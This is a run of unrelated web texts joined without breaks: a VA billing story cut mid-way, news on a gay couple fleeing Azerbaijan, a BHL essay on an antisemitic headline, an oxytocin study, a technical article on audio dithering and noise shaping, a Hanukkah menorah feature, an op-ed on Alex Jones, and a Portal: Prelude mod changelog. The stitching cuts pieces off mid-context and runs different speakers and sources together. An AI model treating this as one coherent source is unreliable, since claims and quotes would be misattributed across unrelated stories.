The incident affected only vets served by the Minneapolis Veterans Medical Center and amounted to $549,198. McDonald said every affected vet would be personally contacted about setting up a payment plan or applying for a waiver. The VA identified 1,482 veterans in Minnesota and Wisconsin who would have been affected by the retroactive charges, including 26 who have been deceased for more than six months.
A gay couple who were forced to go into hiding after local news outlets reported their engagement have now fled the country.
Javid Nabiyev and his partner got engaged in a small ceremony in Sumqayit, one year after meeting.
However, after several local news outlets saw pictures of the ceremony, attended only by a few friends, the couple received a slew of hate-mail and death threats.
They said they had to leave home after people gathered outside their house and shouted homophobic abuse. Last week, Nabiyev said he was safe, staying with friends, but that his partner, 19, had been taken to his parents’ house.
iafrica reports the couple have now fled the country, leaving their homes “in the dead of the night,” and are currently living abroad.
Mr Nabiyev told AFP: “Now we have to somehow get by in exile.”
He did not disclose their new country of residence, only saying they cannot apply for asylum there.
Despite their treatment, Mr Nabiyev has said he still wants to keep fighting for gay rights in Azerbaijan.
“In the future we want to get married,” he said.
“Azerbaijan has no legislation to protect sexual minorities and our society is not ready to tolerate us. But I’ll keep fighting.”
You run across a story in Rue89, a French online newspaper, with the headline “BHL, the Jew, Will Not Accompany Sarkozy to Tripoli.”
You tell yourself that it’s not possible, that you’re having a bad dream, because no one has ever referred to you, with or without the scare quotes, as “the Jew.”
You write to the editor.
You tell him that the article is a crock, you had not planned to make any such trip, and that the title, above all, is unworthy—or, rather, it is worthy only of a modern version of Je Suis Partout, the French fascist newspaper of the 1930s.
The editor apologizes.
The headline is changed to “BHL Will Not Accompany Sarkozy to Tripoli Because ‘He Is Jewish.’”
But the reporting, based on the same vague words, carelessly checked and sourced, remains unchanged.
You note, in passing, that the original title, the most injurious one, the one in which you were “the Jew” and that remained online for hours, provoked no reaction, no protest, no sign of surprise or indignation from any quarter.
And so begins an inner dialogue to get at the truth. Have you or have you not, Jew or no, become an undesirable in this country, Libya, that you love and for whose liberation you so ardently fought?
At the most basic level, you know that of course you haven’t become persona non grata.
You have a recent visa for Tripoli duly issued by the country’s consular authorities.
A few days earlier, on the first night of his official visit to Paris, you had a good meeting with your friend Ali Zeidan, who, in 2011, accompanied you on nearly every leg of your travels through war-torn Libya and is now the country’s prime minister.
You recall the panache with which, on the day of his swearing-in, Zeidan rebuffed the Islamist who mused in Parliament about the new prime minister’s relations with a “Zionist.” That man is a friend of mine, Zeidan responded in substance. Without him and people like him, you and I would not be in this democratic chamber debating today.
You remind yourself that you have other friends in Libya, a lot of them, politicians and military personnel, officers and humble soldiers alike, whom you filmed discussing the strategic turning points of the war: the recognition by France, the opening of a second front in the Berber mountains of Jebel Nafusa, and the subsequent opening of the third front in Misrata—not to mention arms purchases from Turkey, the trip to Dakar that broke Gaddafi’s iron grip on Africa, and the contacts with the U.S. State Department.
And you can’t quite persuade yourself that ingratitude is the vice of great nations or that these friends may simply have been using you for as long as you remained useful to them. Because weren’t they still there, alongside you and your crew, when The Oath of Tobruk—their film, in which they are the characters and the heroes—was shown as an official selection at the 2012 Cannes Film Festival? You think back to their arrival that day, to their undiminished pride. You relive, through the sound of their voices at a memorable press conference, that extraordinary and fraternal adventure lived by Libyans and Frenchmen united by the love of freedom, without distinction by national origin or (even less) religion. And then the solemn majesty of the Libyans’ words when the time came to pass the flame to the Syrian fighters whom Thierry Frémaux, the director of the Cannes Festival, also had invited.
And yet some troubling details of more recent origin spring to mind.
The film, for one thing, which, now that you think about it, still hasn’t been shown in Tripoli.
The stirring poster for the film, depicting a group of men who were fighters in 2011 and who have now become the leaders of Libya, all gathered in the shadow of the Cross of Lorraine that marks the graves of the French soldiers buried in the little cemetery of Tobruk—didn’t you hear that the poster stayed on the wall in the Benghazi Corniche for no more than a day before it was torn down?
You haven’t heard for a while now from Mustafa el-Sagizli, leader of the fighters of Cyrenaica, with whom you shared—you’re sure because, again, you filmed it—the desire to dispel the awful specter of the “war of civilizations.”
Or from Abdel-Hakim al-Assadi, the hardened Islamic radical who is shown in the film bursting into laughter when you tell him you’re Jewish: “We know that! The anti-Semite Gaddafi reminds us constantly on state television!”
Could it be that the report in the French online newspaper contained a grain of truth?
Could there be, within the Tripoli city government, officials irresponsible enough to have said the visit of a “Jew” might, in today’s climate, cause tensions, unrest, or even the revival of this or that militia?
The idea overwhelms you, fills you with sadness—and anger.
And telling yourself that this is the way things go in the war between the two Islams, a war about which you have so often spoken and in which you appear, regrettably, and like so many others, to have become part of the stakes—far from bringing consolation, such ruminations just compound your sadness.
The study, published on 18th July in the journal PLoS Computational Biology, focuses on the role of oxytocin, a very important hormone recently found be involved in the enhancement of "trust" and love in humans and animals. Oxytocin has long been known to be the trigger that, when released into the blood, causes milk to be let down from the mammary gland. When oxytocin is released within the brain, it also helps to strengthen the bond between mother and child, but to have these effects, a very large amount must be released abruptly to cause a wave of the hormone that can spread through the brain.
What was not known before this study is exactly how the few thousand neurones, which are specialized to release oxytocin, are marshalled together to produce a sufficiently intense burst of activity to do all of that. In fact, even when a child is not suckling these neurons are continually producing oxytocin but in small amounts and in a much more uncoordinated way. Previous studies on individual neurons have found no obvious way of modifying their behaviour to get the coordinated response needed to produce the large, regular pulses of oxytocin that are needed.
Now this University of Warwick led team of experimental neuroscientists and theoreticians have found a likely answer. The neuroscientists have found that in response to suckling the neurons start releasing oxytocin from their "dendrites" as well as from their nerve endings – this was unexpected because dendrites are usually thought as the part of a neurone which receive, rather than transmit information.
The dendrites usually create a weak network of connections between neurons. However the researchers have now shown that the release of oxytocin from the dendrites allows a massive increase in communication between the neurons. This co-ordinates a "swarm" of oxytocin factories, producing massive intense bursts of oxytocin release at intervals of around 5 minutes or so.
The synchronous activation of the few thousand oxytocin producing neurons is an example of "emergent" process. It develops in just the same way as a flock of birds or insects - closely coordinated action developing without a single leader.
University of Warwick computational biology researcher Professor Jianfeng Feng said:
"We knew that these pulses arise because, during suckling, oxytocin neurons fire together in dramatic synchronized bursts. But exactly how these bursts arise has been a major problem that has until now eluded explanation. This research has allowed us to incorporate all the latest research in a large computational model of the whole population of oxytocin cells."
"In this model we have shown that the dendritic interactions are enhanced enough to trigger a massive positive-feedback on activity. The model gives us a possible explanation of an important event in the brain that could be used to study and explain many other similar brain activities."
"She was sleeping next to her father in an adjoining bed. He had laid down to put her to bed," said Mark Dorner with JSO. “That's when the neighbor’s gun discharged.”
Officers were called about 9 p.m. to the Villages of Baymeadows apartment complex on Baymeadows Road. Police said the 2-year-old was treated at the scene and is expected to be OK.
Austin Blosser, who was handling the gun, was handcuffed at the scene and taken downtown to be questioned, police said. He was not arrested, and no charges have been filed, according to the Sheriff's Office.
The State Attorney's Office will decide on possible charges.
Nearly 40 years ago, in 1982, the first CDs were released. It’s hard to believe it has been that long. I should know. I was there. Many of you were not even born then, and you may have never seen what CDs eventually replaced: Vinyl LPs. (It is ironic that LPs have come back with a vengeance, with sales increasing every year at an explosive rate.)
At that time, music studios recorded in the same format that was put onto the CDs that were sold: 16 bit 44.1 kHz (16/44.1) sampling. The Analog-to-Digital Converters (ADCs) used to record music were 16/44.1, and the Digital-to-Analog Converters (DACs) were 16/44.1 as well.
Telarc was a very important pioneer in this field, using 50 kHz for the sampling frequency of their studio masters instead of 44.1 kHz. Some of their recordings were later released in SACD format, using the 50 kHz masters. They did not compress the loud sections of the music like many other studios did, so one had to be very careful when listening to their CDs, to keep their speakers from flying into orbit.
Just like HDTVs have increased their resolution from 1080i to 4320p (it will be erroneously called “8K” – now available in Japan), audio recording of music has also increased its resolution, with at least one company, 2L in Norway, marketing music downloads in 24/352.8
However, high resolution music downloads are only a very small part of the music industry.
Dithering
Studio recording involves many more tracks than the two stereo tracks that are on CDs. A symphony orchestra may use a dozen microphones to record the various instrument sections, and in this case, there would be twelve tracks in the Digital Audio Workstation (DAW) software that are down-mixed to a two- (stereo) channel CD. A rock band may have five instruments and a singer. They often come into the recording studio at different times and record their parts in songs for an album. Some of the instruments might be recorded in stereo, and the singer, perhaps, using one microphone. So, again, there would be a lot of tracks that are down-mixed to the two-channel CD.
There are several multi-track software programs that are used to edit and manage the numerous audio tracks, with Pro Tools being the most sophisticated (and the most expensive).
There is also a free music track editor, called Audacity, which is very good, even though its capabilities are limited.
In the final down-mix of all the recorded tracks, let’s say recorded at 24/96 sampling, to create a final, two-channel 16/44.1 Redbook CD, there is an artifact called quantization error. (Quantization errors are also in the original 24/96 tracks.)
Here is a diagram from Wikipedia (see the “Quantization” link in the Sources listed at the bottom of this article).
Wikipedia states, “The simplest way to quantize a signal is to choose the digital amplitude value closest to the original analog amplitude. This example shows the original analog signal (green), the quantized signal (black dots), the signal reconstructed from the quantized signal (yellow) and the difference between the original signal and the reconstructed signal (red). The difference between the original signal and the reconstructed signal is the quantization error and, in this simple quantization scheme, is a deterministic function of the input signal.”
The quantization errors that were in the original 24/96 tracks are exacerbated in the down-mix to 16/44.1 audio file that would be used for issuing a CD. The reason that the quantization errors are worse are (1) the resolution of a 16 bit file is only 1/256 that of a 24 bit file, and (2) the noise will dither the original conversion to 24 bits quite effectively, but it may be too small to dither conversion to 16 bits well.
Note that all of the digital WAV files (except where indicated) that I have used for this article are synthesized digitally and analyzed in the digital domain, that is, without using a DAC. I did this so that no compounding artifacts from the DAC’s analog output stage are introduced, which would otherwise interfere with showing the full extent of the non-dithered or dithered noise floor. This is the main reason that the noise floors in the spectra shown here are so low.
Even the best DACs can resolve only 22.5 bits out of 24 bit sound files. Analyzing 24 bit sound files in the digital domain, rather than after the sound files have passed through a DAC, allows the full 24 bits to be resolved, giving us a much clearer picture of what digital audio is capable of, and what it is not capable of.
I asked John Pattee, the programmer who created SpectraPLUS, which is what I used to show the spectra in the tests for this article, to explain the noise floor in digital files that are analyzed in the digital domain.
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Here is what he said:
“If you post process an existing WAV file, or play it the recorder mode, the analyzer operates on the digital data values in the WAV file – the sound card is not involved.
A 24 bit WAV file has a theoretical resolution of 224. If a WAV file is built from a purely mathematical algorithm, then the DAC/ADC converters are not involved, and the spectrum is void of any noise issues from the converters.
If the mathematical WAV file contained all zeros, the noise floor would be minus infinity – our plot would show -999 dB.
If the mathematical WAV file contained a 1 kHz pure tone, the spectrum would have a peak at 1 kHz, but the noise floor would depend on a number of factors.
If the frequency of the pure tone is an exact ratio of the sampling rate and FFT size, then the noise floor would be -999 dB. For example:
Sampling Rate: 32768
Tone Freq: 1024
FFT Size: 16384
Smoothing Window: Uniform
What happens in such an example is that the FFT samples are exactly aligned and start and stop at the zero crossings of the sine wave. Because this is rarely the case, smoothing windows are used. Here is a link to more info regarding smoothing windows.
Another issue is that this mathematically pure tone must be converted to integer values for the WAV file (required by the WAV file format). This means that these floating point values are rounded to the nearest integer, and this produces what is called “quantization noise”. These are very small with a 24 bit integer but can be correlated and appear as low level distortion.
A technique called “dithering” is used to cause these rounding errors to be randomized. There are a number of dithering algorithms that control the distribution of this quantization noise.
What all this means is that there will still be a noise floor in the spectral data plot even with mathematically generated tones. It can be lower than the theoretical -144 dB for a 24 bit depth in many cases.”
Basically, dither is white noise, which means that it is random noise at all frequencies within the range of a specific sampling frequency. So, for 16/44.1, the random frequencies range from 0 Hz to 22.05 kHz. For 24/96, the random frequencies range from 0 Hz to 48 kHz. Note that the spectra I show in this article use only single sine waves (1 kHz) for the tests. Dither works for music files that have hundreds or thousands of frequencies, and so does noise shaping (which is discussed later). For this article, I used two DAW (Digital Audio Workstation) software programs: Audacity, which is a free download, and Adobe Audition.
There are several types of dithering, and the most commonly used type is “Triangular”, which minimizes noise modulation. Dithering makes the quantization error larger (on average by 4.77 dB for triangular dithering), but also makes it much more well-behaved. I used triangular dither for all dithered spectra in this article.
Here is a downloadable WAV file of white noise recorded at 16/44.1 and minus 50 dB. Make sure your music player has the sound turned down before you download the sound file. As the sound file plays, you can slowly turn the volume up to a comfortable level.
For the bench tests, to start out, here is an undithered 16/44.1 spectrum (Figure 1, below), using a 1 kHz sine wave as a test frequency. The Y axis shows dBr, which means dB relative to a reference. In this case, the reference is 0 dBFS, which is the loudest signal voltage (loudest sound) that can be recorded without clipping.
Figure 1
Notice the quantization error distortion spikes.
Here is the same spectrum (Figure 2), but windowed at 20 Hz to 2 kHz to show the details of the quantization error distortion spikes. Note that they occur below the 1 kHz sine wave test frequency as well as above it.
You can see that the quantization error distortion spikes are at 100 Hz intervals. This is the beat frequency (greatest common divisor) of 1 kHz and 44.1 kHz, and it is not white noise. Here is a WAV file of the quantization errors at 100 Hz intervals. Again, be sure to turn down your music player volume before downloading the file. Then turn it up slowly to a comfortable level when listening.
Figure 2
You would never encounter undithered 16/44.1 music (Redbook CD format) because of these quantization error distortion spikes. All Redbook CDs contain dithered 16/44.1 music. Here is a spectrum (Figure 3, below) of a 1 kHz, 16/44.1 signal that has been dithered.
Figure 3
The quantization error distortion spikes are gone. It seems counter-intuitive to add noise to reduce distortion, but that is what happens with dithering.
WAV files that have digital silence (e.g., 16/44.1 with no test tones) do not have any quantization error distortion spikes, because there is no frequency signal, e.g., 1 kHz, that would otherwise beat against the sampling rate, e.g., 44.1 kHz.
Shown below is a spectrum of a 1 kHz sine wave (Figure 4), recorded natively at 24/96 and at minus 5 dB, with no dithering.
Figure 4
The dithered 24/96 spectrum (Figure 5, below) shows that the peaks have been lowered, but even the undithered 24/96 quantization error peaks (Figure 4, above) are lower than minus 150 dB.
Figure 5
This would suggest that 24 bit depth music files don’t necessarily require dithering. However, dithering 24 bit files is a good idea anyway. Marcel van de Gevel, in the Netherlands, explains this as well as the mathematics of why the peaks in the 16/44.1 undithered spectrum are spaced at 100 Hz:
“Practically, when you have a 24 bit recording of acoustical music, it is unlikely that you need to dither because the analog noise will usually dither things quite well. Besides, if there are any quantization error peaks generated, they will have a very low level. Still, it is good practice to use dither anyway so you don’t have to worry about purely electronic music or about what precisely happens with the probability distribution or the spectral properties of the recorded analog noise along the signal chain.
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Regarding the mathematics of the 100 Hz peaks in the 16/44.1 spectrum, imagine you put your sine wave into a hypothetical noiseless ADC (Analog-to-Digital Converter) that first quantizes its input signal and then samples it. It is easy to see that (for a given sample rate and step size) this gives the same output signal as a noiseless ADC that first samples and then quantizes.
The quantized but not sampled waveform in our hypothetical ADC is simply a distorted sine wave. That is, its period time is exactly the same as that of the input sine wave, but it is staircase-shaped rather than perfectly sine shaped. Hence, it has harmonics at multiples of the frequency of the original sine wave. If the input-to-output relation of the quantizer is an odd function, the distorted sine wave will have a symmetrical waveform that only consist of odd harmonics (see Section 3 of “Even and Odd Functions” in the Sources listed at the end of this article).
After sampling, the higher harmonics may alias to different frequencies. When the sample rate is an exact integer multiple of the frequency of the distorted sine wave, the aliases all still fall on integer multiples of the frequency of the distorted sine wave.
This is not the case when the sample rate is not a multiple of the frequency of the distorted sine wave. When both are integer multiples of some beat frequency f beat , all aliases have to be on exact multiples of this beat frequency. Both the distorted sine wave and the sample rate have then had an exact integer number of periods after a time 1/f beat , which means that the quantized and sampled signal will repeat at least every 1/f beat . Hence, the quantized and sampled signal will be periodic with a period time of (at most) 1/f beat , and will therefore only have harmonics at multiples of f beat .”
So, what about the time domain of a 16/44.1 undithered signal at minus 90 dB? Here is a 1 kHz waveform at minus 90 dB (Figure 6, below) from my reference DAC, the AURALiC VEGA. This is an analog waveform, meaning that the 1 kHz, 16/44.1 signal was generated as a digital signal by an Audio Precision, then fed to the AURALiC VEGA DAC, which converted it from the digital signal to an analog signal, and the analog signal was then fed back to the Audio Precision for analysis.
Figure 6
You can see that each sine wave has four samples, with the positive and negative peaks at + 200 microvolts (µV) and – 200 µV respectively, but the waveform has characteristics of a square wave, which means there are numerous additional harmonic distortion peaks. There are some very low level sine waves mixed in with the 1 kHz wave. These are distortion peaks which are removed by dithering.
If we use 24 bits instead of 16, but keep the sampling frequency at 44.1 kHz, the square wave characteristics are gone (Figure 7, below).
Figure 7
This means that the bit depth is critical to reproducing the sine wave without harmonics at low level signals. This occurs because, at 16 bits, there are 216 (65,536) possible voltages to be represented by samples. At low signal levels, there are only a few available voltage values to characterize the sine wave. With a 24 bit depth, the voltages that are possible are 224 (16,777,216). So, at low levels, there are 256 more possible voltage samples available than there are with a 16 bit depth. This is enough to easily characterize a complete sine wave at minus 90 dB.
In running further tests, I found that changing the bit depth from 24 bits to 16 bits, regardless of the original sampling frequency, and saving the file without dithering, produced quantization errors, so in the case of down-converting audio files to 16 bits, dithering should always be used.
The bottom line here is that dither really works beautifully to eliminate quantization errors when the original music file is 16 bits or when down-converting 24 bit files to 16 bit files.
Noise Shaping
Noise shaping is a second method to improve the digital audio that consumers listen to. What it does is lower the noise floor in one place (the audio spectrum; 20 Hz – 20 kHz), and move the noise to another place (out of the audio spectrum), and is accomplished using feedback, as opposed to adding white noise to produce dithering. Noise shaping is usually applied, along with dither, when down-mixing numerous tracks to stereo and down-converting to the final sampling frequency and bit depth.
To illustrate noise shaping, I have synthesized some test tones and down-converted them to a lower sampling frequency and bit depth, using two different examples.
Noise shaping can be applied within the audible spectrum if desired. So, Figure 8, shown below, is a spectrum of a 1 kHz, 24/96 WAV file converted to 16/44.1, with dithering and with noise shaping, using 16 kHz as the crossover point (the beginning of the place where the noise shift increase is located).
Notice that the effects of quantization errors have been eliminated as previously shown in the Dithering section of this article, and the noise floor has been reduced from about 600 Hz to 16 kHz by as much as 15 dB, with the noise shifted to the region of 16 kHz to 22 kHz, so that it is as high as minus 110 dB (remember that with the 16/44.1 spectrum with dithering but no noise shaping, the noise floor is at minus 135 dB – see Figure 3). The increase in the noise level in Figure 8 to minus 110 dB, beginning at 15 kHz in the noise shaped spectrum, would still be inaudible.
The noise shaping that I used is “Heavy, Weighted”, with the word “Heavy” meaning that the noise shaping is very intense, and the word “Weighted” meaning that the region from about 3 kHz to 8 kHz is where the noise shaping mostly occurs (has the lowest noise floor), because this is the region where the human ear is most sensitive.
There are numerous types of noise shaping, just as there are numerous types of dithering. I used Heavy, Weighted to make the changes obvious.
Figure 8
Noise shaping can also be applied to high resolution WAV files.
Below (Figure 9) is a spectrum of 24/192 sampling, converted to 24/96, with dithering and noise shaping, using a crossover frequency of 40 kHz.
Figure 9
It made a slight, but noticeable improvement compared to the 24/96 spectrum that has been dithered but not noise shaped (see Figure 5, above).
The bottom line on noise shaping is that it works better with 16/44.1 WAV files than high resolution WAV files, but it is likely to be used with high resolution WAV files if there is additional digital signal processing during the mastering stage that raises the noise floor.
For SACD, which is a 1 bit delta-sigma CODEC, noise shaping is absolutely necessary, because a 1 bit depth yields a noise floor at only minus 6 dB (there is 6 dB lowering of the noise floor for each bit in the sampling).
Noise shaping lowers the SACD noise floor to a level similar to multi-bit PCM. Figure 10 (below) shows an example spectrum from an SACD test disc, using an OPPO BDP-105 universal player decoding it as DSD to an analog signal, which was fed to the Audio Precision for analysis.
Figure 10
You can see that the noise shaping crosses over just above the audible band at around 22 kHz. The noise at 40 kHz is minus 72 dB, which would be audible if it were in the audible band, but at 40 kHz, we cannot hear it. The noise floor here is higher than 24/96 PCM spectra shown in other parts of this article because the signal shown here has passed through the OPPO BDP-105’s DAC, and then the analog output of the DAC has been passed back into the spectrum analyzer. The other spectra (Figures 6 and 7 are waveforms, not spectra) are from digital WAV files maintained in the digital domain for analysis and do not pass through a DAC, becoming analog signals.
Conclusions
Well, I hope you were not overwhelmed with all the spectra, but I could not find any article on the Internet that explained dithering and noise shaping in a straightforward manner, so I felt it would be helpful to do that here at Secrets.
I contacted two mastering studios, and was told that most music files created by recording studios and sent to them for mastering (mixing, balancing the various tracks to specific volume, and adding special effects, such as reverberation) were at 44.1 kHz and that most of those were 24/44.1 kHz. This means that some of the files were 16/44.1. Therefore, most music sent from recording studios to mastering studios are meant to be finalized at 16/44.1.
This puts audiophiles who want high resolution music downloads or streaming in a conundrum. How can we get high resolution music if it is now being recorded mostly at 44.1 kHz sampling frequency? Up-converting the files to 24/96 or 24/192 won’t do the job. It has to be native 24/96 or 24/192 to be considered high resolution.
On the other hand, perhaps the mixing companies could create two products from the 24/44.1 master files sent to them by recording studios: (1) a down-mix to 24/44.1 stereo for streaming, maintaining the native 24 bit depth; and (2) a 16/44.1 down-mix for CDs.
Native 24/44.1 would have all the advantages of a large dynamic range characteristic of 24 bit files (meaning you would hear more low-level detail), and also it would carry the full audible spectrum (20 Hz – 20 kHz). It would have a very small bit rate for streaming, assuming the mixing studios use FLAC lossless compression. This would insure no dropouts that characterize high bit rate music files (e.g., 24/96). There would be no need for further processing by the streaming companies to reduce the file size.
Sources
“Dithering Explained: What it is, When to Use It, and Why it’s Important”
“Audio Bit Depth”
“When and to what should I apply dithering?”
“Noise Shaping – Wikipedia”
“Compact Disc” (When CDs first Came Out)
“Dither”
“Dither vs. Noise Shaping”
“Quantization”
“Do I really need to use dithering?”
“The Mathematics of Dithering and Noise Shaping”
“The Super Audio CD (SACD) – DSD – DXD”
“Even and Odd Functions”
Note: For first time users, you may need to add an Alter first with your “Email Address”. (Don’t worry later you will be able to change that and get the Feed URL).
Once you go to Manage your Alerts page, edit the alert that you wish to get via Feed, and you will notice in the “Deliver To” column a new item has been added called “Feed” (Previously there was only the email option).
So select the “feed” option and save and you will notice that Google Alerts will provide you a unique feed URL for your search term.
So now simply add it to your favorite RSS reader (or just add it in your Google Reader) and you are done.
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The menorah on display at the Museum of Italian Jewish Art is thought to have been made in Italy, but its precise origins are unknown. It was donated to the museum by a collector who wished to remain anonymous, and no details of its provenance survive.
After nightfall Monday, Jews worldwide will celebrate the third of the winter festival’s eight nights.
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The menorah was fashioned from a brass front-plate emblazoned with the Hapsburg dynasty’s double-headed eagle and the initials of an 18th-century emperor. Such plates were long a traditional feature of the tall uniform hats of Austro-Hungarian soldiers.
Experts have ascertained that the plate was made sometime before 1835. But the plates, which were expensive, remained in use long afterwards, according to curators, serving as part of ceremonial dress even after the Austro-Hungarian military abandoned the traditional finery of its uniforms and adopted drab modern-style caps and fatigues.
Curators at the museum suggest the plate might have reached Italy during WWI, when the Austro-Hungarian army held part of the country’s north. The Great War pitted the empire, allied with Germany, against Italy, which was allied with Britain and France.
The Austro-Hungarian occupation area during the war included Conegliano Veneto, home to a small Jewish community and an exquisite synagogue built in 1701. Among the imperial troops were members of a large Jewish detachment, some of whom were photographed in the synagogue shortly before the High Holidays in the fall of 1918.
The last service ever known to have been held there was conducted that year by Jewish Austro-Hungarian soldiers and their chaplain, Rabbi Harry Deutsch, on Yom Kippur.
The Austro-Hungarians were then decisively defeated nearby at the battle of Vittorio Veneto. The Great War ended not long afterward, and with it the heterogeneous empire of the Hapsburgs.
The victorious Italian army also included Jewish troops. The Jerusalem museum preserves uniforms, photographs, and an ornamental saber belonging to some of those soldiers, as well as postcards sent to and from the front during the Great War.
The identity of the front-plate’s original owner has been lost. It is not clear if he was a Jewish soldier, or in what circumstances the plate remained behind in Italy.
But at some point after war’s end, it seems Italian Jewish craftsmen soldered nine circular cups of a type commonly found in Italian Hanukkah menorahs to the bottom of the plate, turning it from an implement of war into one of worship. Perhaps it was meant to commemorate a time of bloodshed that ended in triumph, like the Maccabee campaign remembered on Hanukkah.
The plate bears the initials “FI,” representing Emperor Francis I, who died in 1765. Plates of this type were manufactured until 70 years after the emperor’s death, according to curators.
Andreina Contessa, the museum’s chief curator, said the menorah was a reminder of a period when Jews — whether in the Austro-Hungarian Empire, in Italy, or elsewhere in Europe — saw integration as possible and military service as one way of expressing allegiance.
“They felt loyalty to their countries, and believed that you should respect the regime,” she said.
After WWII, the Conegliano synagogue where the Austro-Hungarian troops had been photographed, with its gilded woodwork and floral Torah ark curtain, was brought in its entirety to Jerusalem and re-assembled at the Museum of Italian Jewish Art. Prayer services are held there weekly, and a Hanukkah party was held there on Monday.
The museum, located in a 19th-century building once owned by a Catholic order in central Jerusalem, displays the ritual art of Italian Jewry, including a five-century-old Torah ark in meticulously carved wood and a silver Torah crown decorated with wheeled cannon and dedicated in honor of the unification of Italy and the emancipation of the Jews in the mid-1800s.
Today there are about 30,000 Jews in Italy, with the biggest community located in Rome.
Farage was pictured by the singer chatting to Murdoch and the host of the party, Lebedev. And a video she later deleted showed the Ukip leader smiling after she gave him a sarcastic hello.
lily (@lilyallen) I'm at a garden party. Hope I'm not sitting next to Voldemort or Fromage. I might be sick pic.twitter.com/ILsuu6kDPM
Later, when contacted by the Guardian, Allen said that both Fox and Farage had made a beeline for Murdoch as the guests were choosing their seats to make sure they were seated near him.
Lily Allen raises a smile as she turns unlikely media pundit Read more
But it was the media boss himself for whom she reserved most of her ammunition, calling him Voldemort. In a video of the media boss “breaking bread” with the former defence secretary, she called them both “wankers”.
lily (@lilyallen) Liam fox , Murdoch and Farage , breaking bread here. pic.twitter.com/wxY5mZquBb
Allen also said that other guests at the party had told her she should not post pictures or videos of Murdoch. “His publications have been making money from publishing pictures of me, though,” she said.
He’s the guy whose Infowars.com website features headlines like “HEAVILY ARMED MUSLIM THREATENS CHRISTIAN CONSERVATIVE CONFERENCE.” The one who describes himself on the website with a pithy summary of world history that begins as follows:
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Since the beginning of time there have been constant attempts to enslave and subdue the spirit of humanity. From barbarian hordes streaming down the mountain to the Stasi secret police torturing those who dreamed to be free.
That’s the early Trump supporter Alex Jones who, pushing birtherism one giant step further into the inferno where truth is drawn and quartered, let his listeners know the other day that “the word is that [Malia and Sasha Obama] aren’t even [Barack Obama’s] kids” and that the former president was hiding out in French Polynesia last month because they have no extradition to the United States?
The same Alex Jones who, according to Maggie Haberman in The New York Times, said he took one of Trump’s first phone calls, the first Friday after Election Day, “thanking Mr. Jones for his support.” (Aides to Trump did not respond to Haberman’s request for comment.)
The one whose radio show airs on 150 stations, whose website collected 7.6 million unique visitors during the last month, and whose YouTube channel has more than 2 million subscribers?
The one who says, “We break it down first,” featuring the news flash, darkly neglected by mainstream media, that Vladimir Putin said Bashar al-Assad’s chemical attack was a “false flag”? The one whose collected false flags — purportedly phony attributions — include “fake news” about Boston Marathon bombing, the Oklahoma City bombing and the Sandy Hook massacre?
The same who cites mainstream media whenever they echo something first declared on Infowars? The one proclaiming that “we only see the pictures of dead kids when there’s an agenda to be told”?
The one who proclaims himself “the heart of the resistance” for “patriots worldwide,” seemingly untroubled by the likelihood that North Korean patriots feel attached not to the America of Donald Trump but the North Korea of Kim Jong-Un.
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The one whom his hometown paper, the Austin American-Statesman, calls “an ingenious and indefatigable conjurer of conspiracy theories about sinister global elites seeking to enslave the masses.”
Or is Alex Jones the fellow whose lawyer recently told a judge at a pretrial hearing in a child custody case in Austin: “He’s playing a character. He is a performance artist.” The lawyer, Randall Wilhite, declared “that using his client Alex Jones’ on-air Infowars persona to evaluate Alex Jones as a father would be like judging Jack Nicholson in a custody dispute based on his performance as the Joker in "Batman."”
Now, the claims of lawyers are not certificates of truth, and it is not my place to take sides in Alex Jones’ custody battle. But I bring this sordid business up because Alex Jones’s lawyer is not original. He parrots a theme that ricochets through American culture. If you’ve heard it recently, odds are you’ve heard it from the president of the United States or one of his band of idiots.
Donald Trump does not apologize; he says he was “kidding.” During the campaign, after insisting that Barack Obama was “the founder of ISIS,” and having gotten all the mileage he got from a flat-out lie that it would be merciful to call insane, tweeted a morning-after tweet that he’d been “sarcastic. “
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The practitioners of strategic insincerity do not retract or apologize. They “walk a statement back.” They “regret” having “misspoken.” They issue nonapology apologies, as in: “I apologize if anyone was offended.”
If any more evidence were needed that we inhabit a reality-show culture, here it is. A reality show is to reality as to sarcasm is to irony. This is, not awesomely, a no-accountability culture. It traffics in smears harnessed to smirks that follow along just behind to collect the poop. It will say anything, anything, for effect and deny you the right to object without playing the fool. It’s a culture where a serious publisher issues a book called "Old School" by the accused serial sexual harasser Bill O’Reilly.
It’s a culture in which Bret Stephens, a climate-change denier with a nice prose style, is anointed a New York Times columnist in the hope that he will help “further widen” the views purveyed in the paper. You could see this coming when the sainted Tim Russert put Rush Limbaugh on Meet the Press to talk about Iraq, and when I called to protest told me, “He speaks to 14 million listeners” — as if that was a reason. It’s a culture in which even a Vox video blast at what passes for debate on CNN has to be punctuated with jokes.
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It’s also a looking-glass culture in which would-be radicals chortle that only the uncool could care about “truth,” a term that, for them, comes pre-wrapped in air quotes. It’s a culture in which there are only “perspectives” and only the Bible is inerrant. In which the substitute for an argument is the affirmation that the other side is abusing its “privilege.” It’s a culture in which “truth” is for “elitists,” and you know what to think of them.
Portal: Prelude, as its name states it, is an unofficial prequel to the game Portal. Its story revolves around the pre-GlaDOS epoch, even before she was plugged in. At this time, test subjects were monitored by real Aperture Science employees whose work was tedious, lengthy and repetitive. This is why they decided to build a great artificial intelligence that could both replace them in these difficult tasks, but also take responsibility for many other tasks within the complex and compete with Black Mesa's superiority. All employees of the Aperture Science complex are now eagerly awaiting GlaDOS. Maybe even a little too eagerly, as the upcoming events will tell...
Want more info? Check out the Planet Half-Life Review HERE!
Portal: Prelude 1.1.5 (released 2009-01-29)
* Added: german translation (subtitles only)
* Added: czech translation (subtitles only)
* Added: chinese translation (subtitles only)
* Added: unofficial slovak translation (see portalprelude.com)
* Fixed: italian subtitles corrupted by additionnal quotes (thanks to Matteo Piazza)
* Fixed: russian subtitles corrupted by additionnal quotes (thanks to Matteo Piazza)
* Fixed: korean subtitles corrupted by missing tag (thanks to Nevets_Look)
* Fixed: portuguese subtitles corrupted by missing tag (thanks to Nevets_Look)
* Fixed: typos in spanish subtitles (thanks to Siegfried Anderson)
* Fixed: test chamber 6 not reloading when failing
* Fixed: difficulties to fire portals through some of the white holes
* Fixed: ability to go back when reaching the end of chamber 12
* Fixed: time challenge for chamber 15 was a step challenge
* Fixed: in a rare case glados was still attacking when shutted down
* Fixed: ability to go under the elevator before it came back in chamber 18
* Fixed: flying ghost chair in aperture laboratories
* Fixed: random crashes should disappear, let's hope some others won't appear
* Fixed: glados laser starting too fast, increased the delay
* Fixed: a few soundscape problems
* Fixed: credited the correct people for the correct stuff
* Fixed: missing projector model textures
* Fixed: music played during the second boss-fight not playing correctly or not at all
